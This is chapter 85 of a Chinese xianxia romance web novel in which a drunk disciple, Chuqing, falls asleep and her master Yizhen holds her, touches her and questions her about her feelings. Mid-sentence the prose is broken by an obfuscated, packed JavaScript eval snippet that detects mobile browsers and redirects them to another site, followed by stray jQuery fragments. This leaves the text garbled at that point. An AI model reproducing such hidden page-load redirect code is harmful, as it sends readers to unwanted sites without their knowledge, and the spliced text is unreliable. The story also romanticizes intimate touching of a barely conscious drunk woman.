85. 85

作品:《我成了师尊的白月光

    翊贞离席没人再能管她,茱青自斟自饮乐开了花。


    也不知这天池醉是用什么酿的,有花香又有果香,比她喝过的酒都好喝,茱青仔细抿了一口打算细细品味,忽然从门口进来了两个人。


    是蓝知和玉奴。


    玉奴身着橘黄如意织金外袍,头发用品月色的发带束着披在肩上,这身衣裳颜色样式很适合他,衬得他身姿挺拔端正,玉奴跟在茱青身边这些时日吃好睡好脸色不再苍白,气质也变得温润。


    玉奴一进水榭目光就锁在茱青身上,和蓝家的亲戚见过面问候几句便赶紧来找茱青。


    茱青笑道:“你今日打扮得很好看,很有翩翩公子的样子。”


    乍然换了身份打扮见茱青,玉奴害羞地不知该把手放哪,他左右看看不见翊贞,问道:“姐姐,大哥去哪儿了,他没来吗?”


    “刚出去了,不知道在哪。”茱青捋捋玉奴的头发,“今日见你爹娘,相处得怎么样。”


    玉奴道:“爹娘待我很好,娘看见我就哭,我想让她别那么伤心,不知道怎么开口,其实我也不知道怎么跟他们相处…”


    玉奴沮丧地垂下头,手抠着衣裳一角。


    他无比渴望回家,但多年不见亲人,他对父母和蓝家既亲切又陌生,偶尔有家仆们亲热地喊他“三少爷”,他过好大一会才反应过来原来他们是在喊自己。


    茱青没法教凡人怎么去跟父母相处,但她懂父母爱子之心,说道:“你娘七年不见你,今日刚见面哭也是常事,你多跟她说说话,多陪陪她,过几天就好了。”


    她说得再多都是空话,终究还得玉奴去领会。


    玉奴似懂非懂点点头,在她旁边坐了会,陪她喝了两杯酒,蓝家下人请他过去,临走前叮嘱道:“我听下人说天池醉后劲大,姐姐别喝多了,爹有事喊我,我先走了。”


    茱青应了一声目送他离开,玉奴被两个壮硕仆人簇拥着,显得他的背影愈发单薄。


    她在心里叹口气,郁郁之下喝了不少天池醉,来赴宴的宾客大多去了戏台子那边听戏,此时这里没几个人,她酒喝够了,走出水榭去找翊贞。


    水榭挂了一圈明晃晃喜庆的红灯笼,借着光亮,茱青看见十几步外坐在石凳上的翊贞。


    她踮着脚尖悄悄挪到翊贞身后,伸手蒙住他双眼,压着声音道:“这位公子,你猜我是谁?”


    翊贞感受到肩上的重量,不用猜就知道是茱青,他忍住笑意,故作疑惑道:“不知道。”


    “啊…”茱青有些失落。


    翊贞抬手碰了碰眼睛,又道:“手指细长柔软,我猜…你是玉奴。”


    “师父!”茱青恼了,“您连我都不认识了!”


    她负气般抽回手,站在一边不理翊贞。


    她只想跟翊贞开个玩笑,哪想他真连自己都认不出来。


    翊贞笑着去拉她手腕,说道:“听脚步声就知道是你,还用得着我猜,嗯…这么重的酒气,你趁我不在,偷喝了不少吧。”


    茱青朝手心哈了口气,又抬起胳膊闻闻衣袖,酒味是重了些,可也不至于像他说得那么重。


    只是玉奴说得没错,这酒后劲是大,方才还不觉得,这会吹了凉风又浸在甜滋滋的花香里,酒劲才一点点往上爬。


    翊贞看出她酒劲上头,便道:“回去吗?”


    茱青嗯了一声,又说要去跟玉奴告别。


    玉奴正在花园角落的戏台子底下陪长辈们听戏,茱青不想进去,恰好有蓝家仆人去端茶水果子,便让仆人去传话喊他出来,蓝无双恰巧也在旁,随玉奴一同来了。


    翊贞道:“她有些醉,我们先回去了。”


    玉奴想留他们住一夜,苦于刚回家不好意思开口,也不知父亲会不会留他们,好在蓝无双看出他的想法,笑道:“夜深露重,两位不如在家里住一夜醒醒酒,后院客房多的是,让人收拾出两间不是难事。”


    翊贞略有迟疑,不知这样是否合适,玉奴怕他不应去求茱青:“姐姐,你就住一晚吧…”


    尽管这是在自己家,他还是觉得有茱青和翊贞在更有安全感些。


    和翊贞交换过眼神,茱青道:“那就麻烦大公子了。”


    既不用走夜路,茱青一时半会也不想睡。


    飘忽忽的微醺感很是美妙,她在一丛月季前找个石阶坐下,摘了朵花放在鼻尖轻嗅。


    翊贞在离她十几步的地方默默注视着她。


    快到客房时茱青说要去找东西吃让他先回去,这样拙劣的谎言怎么会骗过他,既是担心她在别人家里迷路闯祸,也是怕她喝醉遇到危险,他便悄悄跟了上去。


    茱青捧着一朵花不知道在高兴什么。


    时而用指尖戳戳花瓣,时而对着花自言自语,月光像层纱笼罩在她身上,柔和的光辉无端为她添了几分清冷,她不常穿白色,总说白衣太素太寡淡,今日凑巧穿了这身白裙,倒让他有些挪不开眼。


    此情此景,翊贞一时说不出是花美还是人更美。


    他不愿去打扰她,也不愿走,就在她身后站着,茱青斜斜靠在石阶旁的柱子上,她像是有些醉,那朵花拈在手里拿不住,软软落在阶上,落在她的纱衣上。


    她这样会着凉。


    翊贞为自己接近她找了个蹩脚的理由,他放轻脚步坐到茱青身边,揽着她的肩让她靠过来,她醉得迷迷糊糊,任他抱也不出声,翊贞忽然有些恼,她毫无防备心地睡外面,岂不是谁都能和她这么亲近。


    他微微用力捏捏茱青的脸,小声道:“不听话。”


    茱青吃痛,手在脸上揉了几下,嘴里不高兴地嘟囔几句,又靠在他肩头睡了。


    翊贞难得见她如此娇憨可爱的模样,一时兴起又在她脸上捏了一把,反反复复几次茱青有些受不了,不满地拉长声音:“师父,你别闹我…”


    茱青居然认出了他,翊贞停在空中的手一顿,试探道:“你知道我是谁?”


    没人应声。


    翊贞也没指望茱青真能回答,毕竟她现在醉得眼睛都睁不开,整个人跟没骨头似的化成一团在他身上蹭来蹭去,蹭得头发都散了。


    刚认识她时,她头发还微微泛黄,每天用刨花水梳头,吃很多能养发的蔬菜,还上手摸他的头发,眼巴巴地羡慕他。


    他好奇问她怎么突然这么在意头发,她随口道在山上没几个人看也没发现有什么不一样,下山后跟凡人女子一比,她的头发简直就像枯草,自然得好好养。


    如今下凡快一年了,她的头发也养得乌黑发亮。


    她头一歪,一缕发丝挣脱发簪的束缚垂在额前遮住眼睛,翊贞莞尔,抬手拨开发丝别在她耳后,她竟顺势把脸贴在他手心,依在他手臂上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16917389|174520||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    平稳地呼吸。


    翊贞不自觉收紧手臂,掌心托着茱青,目光落在她精致小巧的侧脸上,再往下是白皙的脖颈,平日扫一眼都要瞥开眼神的地方,此时此刻借着浓郁夜色,翊贞结结实实看了好几眼。


    要是有杯凉茶给他就好了,翊贞心道,肯定是天气太热,才让他莫名口干舌燥,想把她吃进肚子里。


    这不能怪他,她就像块冰冰凉凉的白玉糕,任谁看了都想咬一口。


    翊贞拇指轻轻摩挲茱青的唇角,极力忍耐快要喷涌而出的情绪,他盯着她殷红的唇瓣看了会,终究不敢亲上去,弯腰用鼻尖蹭她耳垂。


    他心想,她永远都只会属于他一个人。


    湿润的气息喷洒在耳边,茱青无意识地往后躲了躲,吓得翊贞忙屏住呼吸看她的反应。


    她转头看向他,居然伸手搂住了他的脖子,仰着头对他傻笑。


    她傻乎乎的表情真是可爱极了,翊贞心中一暖,低声道:“醒了?”


    茱青脑袋乱动,不知是点头还是摇头,他刚想说话,就听她含含糊糊开口:“师父…你喜欢我吗…”


    翊贞脑中“嗡”得一声,陡然瞪大了眼睛,不住回想方才的情形,难道是他太不知收敛,被她察觉到什么,才会有此一问。


    他避开她的问题,反问她:“你觉得呢?”


    “我…不知道啊…”茱青稀里糊涂用手去拍翊贞的脸,“师父太凶了,师父是神仙…师父是…师父…”


    翊贞抓住她的手追问道:“那你呢,你喜欢师父吗?”


    茱青努力扬起头,傻里傻气道:“喜欢呀,师父很厉害…还好看…”


    听到想要的回答,翊贞却无法说服自己去相信,茱青看似清醒,实则双眼瞳孔涣散无神,说话也呆呆地没有调子,看起来是在跟他说话,恐怕连她自己都不知道自己在说什么。


    尽管如此,他还是不死心道:“只是喜欢师父吗?”


    “不是呀…除了师父,还喜欢小玉奴…”茱青的手从他脖子上松开,一转身躺在他怀里,“还喜欢那只大花猫…小溪…还有酥山和樱桃浆…”


    她的声音越说越低,眼睛也缓缓闭上了。


    真是可恶,翊贞无奈地长叹一口气,他就知道。


    她把男女之间的喜欢和对自然万物的喜欢混在一起,害他白高兴一场。


    翊贞失神之际,旁边小路传来窸窸窣窣的脚步声,他回头望去,是两个蓝家的仆人。


    蓝家仆人入夜前都要巡夜,行至月季丛突见黑漆漆的一大块还会说话都唬了一跳,借月光才看清是两个人。


    仆人道:“公子是…?”


    翊贞忙道:“我是你们三少爷的朋友,他留我在此住一晚,你们应该知道的。”


    仆人们都知三少爷是被两个自称师徒的江湖人所救才得以回家,也早收到口信免得巡夜误会,便应声离开了。


    这么暧昧不清的事居然让人给撞见了,翊贞尴尬得后背起了一层鸡皮疙瘩,一想到可能会传出他们师徒纠缠的风言风语,茱青还会知道他对她做了肉麻的事,他宁可现在就死掉。


    饶是如此想,翊贞还是不肯放弃淡薄到无的希望,他轻吻茱青的眉心,对已然熟睡的她道:“方才我只当你说的醉话,明日你若还记得,还愿意跟我说那些,还愿意说…喜欢我,我什么都答应你。”